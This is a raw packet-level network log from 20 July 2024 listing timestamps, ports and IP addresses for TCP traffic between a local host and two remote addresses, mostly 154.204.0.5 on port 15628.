Jul 20, 2024 16:15:32.672616959 CEST	49745	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:15:32.672641039 CEST	443	49745	183.60.146.66	192.168.2.5
Jul 20, 2024 16:15:32.675153971 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.675302029 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.680733919 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.685256004 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.691293955 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.691369057 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.697068930 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.697180033 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.702732086 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.702800989 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.708307981 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.711600065 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.716964006 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.717031956 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.722589016 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.724663973 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.730130911 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.730186939 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.735285997 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.735363007 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.740375996 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.740525961 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.746994972 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.747057915 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.754904032 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.754980087 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.760116100 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.760184050 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.765155077 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.765211105 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.770159006 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.770224094 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.775130987 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.775211096 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.780193090 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.780247927 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.785269976 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.785339117 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.790422916 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.790477991 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.795494080 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.795553923 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.800688028 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.800789118 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.805800915 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.809551001 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.814770937 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.817542076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.822683096 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.825542927 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.830909967 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.833532095 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.838625908 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.841551065 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.846824884 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.849523067 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.854441881 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.857534885 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.862503052 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.865542889 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.870542049 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.873537064 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.878534079 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.878714085 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.883868933 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.883934975 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.888870001 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.888925076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.893901110 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.893959045 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.899070978 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.899179935 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.904447079 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.904515028 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.909483910 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.909569979 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.914854050 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.914916992 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.919887066 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.919944048 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.924910069 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.924994946 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.930140018 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.930211067 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.935148001 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.935206890 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.940223932 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.940331936 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.945384026 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.945449114 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.951092958 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.972425938 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.979231119 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.979310036 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.984426022 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.984522104 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.989620924 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.989828110 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:32.995174885 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:32.995285988 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.000603914 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.001528025 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.006598949 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.013501883 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.018527031 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.025597095 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.030555964 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.037581921 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.071418047 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.076632023 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.076704025 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.076878071 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.082246065 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.085618019 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.090673923 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.092235088 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.097317934 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.100359917 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.105418921 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.105595112 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.112369061 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.117697954 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.122756004 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.123927116 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.128911972 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.128990889 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.135227919 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.141473055 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.146537066 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.153584957 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.158463955 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.159708023 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.164676905 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.164840937 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.169876099 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.169945002 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.175071001 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.175185919 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.180289030 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.180466890 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.185802937 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.189624071 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.194674015 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.195549965 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.200705051 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.200885057 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.206021070 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.207556963 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.212780952 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.212901115 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.218326092 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.218461990 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.223476887 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.223679066 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.228588104 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.229581118 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.234654903 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.237623930 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.242733002 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.245626926 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.250722885 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.253556013 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.258963108 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.261603117 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.266561031 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.269651890 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.274969101 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.278681993 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.283556938 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.283693075 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.288862944 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.289041042 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.293930054 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.294538021 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.299484968 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.299695969 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.304585934 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.304774046 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.310647964 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.310914993 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.316467047 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.329483032 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.335208893 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.335345030 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.340256929 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.345623970 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.350697041 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.352214098 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.357709885 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.358031988 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.363114119 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.363282919 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.368139982 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.368285894 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.374571085 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.374819994 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.379914999 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.380093098 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.385029078 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.385318995 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.390341997 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.390429020 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.395324945 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.395456076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.400454044 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.400605917 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.405541897 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.409594059 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.414563894 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.414710999 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.419789076 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.420015097 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.427890062 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.427967072 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.433669090 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.434106112 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.439368963 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.439460993 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.444705009 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.445029020 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.450011969 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.452785969 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.458003998 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.458081961 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.462949991 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.463054895 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.467931032 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.468379021 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.473268032 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.473583937 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.478642941 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.478796005 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.483717918 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.483872890 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.488893986 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.489490032 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.494867086 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.494956970 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.499984980 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.500113964 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.505100012 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.505206108 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.510767937 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.510934114 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.515902042 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.516058922 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.521358967 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.521476984 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.527837992 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.528084993 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.533169985 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.533596992 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.538660049 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.538832903 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.544171095 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.544307947 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.549556017 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.550079107 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.555155039 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.555265903 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.560368061 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.560518980 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.565695047 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.565804005 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.571527958 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.571685076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.576738119 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.577311039 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.582295895 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.582963943 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.588109970 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.588650942 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.594182968 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.594784021 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.616815090 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.617023945 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.622415066 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.622579098 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.627638102 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.629662991 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.634733915 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.634900093 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.639962912 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.640134096 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.645246029 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.645420074 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.650741100 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.671330929 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.676528931 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.676737070 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.681750059 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.681853056 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.686983109 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.687102079 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.692292929 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.693628073 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.698751926 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.701656103 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.706624985 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.709605932 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.714768887 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.717585087 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.722661018 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.725641966 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.730873108 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.733608961 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.738610983 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.741601944 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.746630907 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.749600887 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.754646063 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.757628918 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.762609959 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.765575886 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.770566940 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.770756006 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.775691032 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.777595043 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.782785892 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.785590887 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.790608883 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.790693998 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:33.795741081 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:33.795856953 CEST	49709	15628	192.168.2.5	154.204.0.5
